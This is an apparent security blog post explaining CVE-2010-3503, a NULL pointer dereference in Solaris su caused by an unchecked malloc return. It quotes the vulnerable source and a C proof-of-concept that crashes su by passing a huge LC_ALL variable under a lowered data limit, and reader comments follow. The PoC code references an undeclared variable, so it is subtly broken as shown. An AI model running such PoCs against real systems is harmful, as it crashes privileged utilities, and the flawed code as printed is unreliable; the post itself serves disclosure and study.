CVE-2010-3503: Solaris su(1) NULL Pointer Dereference
This vulnerability affects both Solaris 10 (on x86 as well as SPARC) and OpenSolaris. Since there is no reference on credits for this vulnerability in Oracle’s site I’ll assume that SecurityFocus is correct and credit prdelka as the person who discovered and disclosed this bug. In his released notes (sun-su-bug.txt) he discusses everything you need to know for this vulnerability. In any case, I’ll write about it too. :P
So, the buggy code can be found at usr/src/cmd/su/su.c and specifically in the main() function of su(1) utility. Here is the buggy code now…
/* * Locale variables to be propagated to "su -" environment */ static char *initvar; static char *initenv[] = { "TZ", "LANG", "LC_CTYPE", "LC_NUMERIC", "LC_TIME", "LC_COLLATE", "LC_MONETARY", "LC_MESSAGES", "LC_ALL", 0}; ... int main(int argc, char **argv) { ... int j; ... /* * Fetch the relevant locale/TZ environment variables from * the inherited environment. * * We have a priority here for setting TZ. If TZ is set in * in the inherited environment, that value remains top * priority. If the file /etc/default/login has TIMEZONE set, * that has second highest priority. */ tznam[0] = '\0'; for (j = 0; initenv[j] != 0; j++) {
You can see from the comment what this code does. To do this, it loops through each environment variable defined in the ‘initenv[]’ array which is defined above. Inside this ‘for’ loop you can read this code:
if (initvar = getenv(initenv[j])) { /* * Skip over values beginning with '/' for * security. */ if (initvar[0] == '/') continue; if (strcmp(initenv[j], "TZ") == 0) { (void) strcpy(tznam, "TZ="); (void) strlcat(tznam, initvar, sizeof (tznam)); } else {
It retrives each environment variable using getenv(3) and skips variables beginning with ‘/’ for security purposes. Next, if it finds the “TZ” environment variable (using strcmp(3)) it will copy the appropriate time-zone to it. Otherwise, if this isn’t the “TZ” variable it will execute the ‘else’ code which is shown below.
var = (char *) malloc(strlen(initenv[j]) + strlen(initvar) + 2); (void) strcpy(var, initenv[j]); (void) strcat(var, "="); (void) strcat(var, initvar); envinit[++envidx] = var; } } }
Here, ‘var’ is initialized with the pointer returned by malloc(3). This code is used to allocate heap space for:
strlen(initenv[j]) + strlen(initvar) + 2
And then store the value of the environment variable (which is the ‘initvar’) to the environment variable ‘initenv[]’. The additional two Bytes are for the NULL termination and “=” character that is used for the assignment.
The bug here is that there is no check on the return value of malloc(3). Consequently, if user could make malloc(3) fail it will result in having a NULL return value as we can read at its man page. Because of this, ‘var’ can be NULL and the subsequent strcpy(3) and strcat(3) copy operations to it will result in a NULL pointer dereference.
prdelka coded a PoC code to demonstrate the vulnerability.
/* Sun Solaris <= 10 'su' NULL pointer exploit =========================================== because these are so 2009 now. I would exploit this but my name is not spender or raptor. Sun do not check a call to malloc() when handling environment variables in 'su' code. They also don't check passwords when using telnet so who cares? You have to enter your local user pass to see this bug. Enjoy! admin@sundevil:~/suid$ ./x [ SunOS 5.11 'su' null ptr PoC Password: Segmentation Fault -- prdelka */
Here is the code…
#include <stdio.h> #include <stdlib.h> #include <sys/resource.h> #include <sys/fcntl.h> #include <sys/types.h> #include <sys/mman.h> struct { rlim_t rlim_cur; /* current (soft) limit */ rlim_t rlim_max; /* hard limit */ } rlimit; int main(int argc,char *argv[]){ int fd; struct rlimit* rlp = malloc(sizeof(rlimit)); getrlimit(RLIMIT_DATA,rlp); char* buf1 = malloc(300000); memset(buf1,'A',300000); long buf2 = (long)buf1 + 299999; memset((char*)buf2,0,1); memcpy(buf1,"LC_ALL=",7); rlp->rlim_cur = 16400; setrlimit(RLIMIT_DATA,rlp); char* env[] = {buf1,file,NULL}; char* args[] = {"su","-",getlogin(),NULL}; printf("[ SunOS 5.11 'su' null ptr PoC\n"); execve("/usr/bin/su",args,env); }
Initially, he allocates space for the resource limit structure using malloc(3). Then, using getrlimit(2) system call he obtains the maximum size of data segment of his process. He allocates a 300KB buffer, initialize it with “A” and NULL terminates it. The first bytes of the allocated buffer are set to “LC_ALL=” and the current resource limit is set to 16.4KB using setrlimit(2). Finally, a new process is spawned that will execute ‘/usr/bin/su’ passing to it the huge “LC_ALL” environment variable. When su(1) will attempt to allocate sufficient space for the “LC_ALL”‘s value it will force malloc(3) to fail since it has a resource limit of 16.4KB while it attempts to allocate 300KB. This will trigger the strcpy(3) and strcat(3) write operations and of course, the NULL pointer dereference.
Oh really, he would exploit this? It would be interesting to see how.
curious
October 16, 2010 at 10:24
I don’t think that it’s exploitable.
xorl
October 16, 2010 at 11:37
I love this blog, keep it high xorl :)
adrian
October 19, 2010 at 10:12
“I would exploit this but my name is not spender or raptor.”
It is possible he being confused…
fan
October 21, 2010 at 11:47
if suid dump is allowed……
not.
sipher
October 31, 2010 at 19:11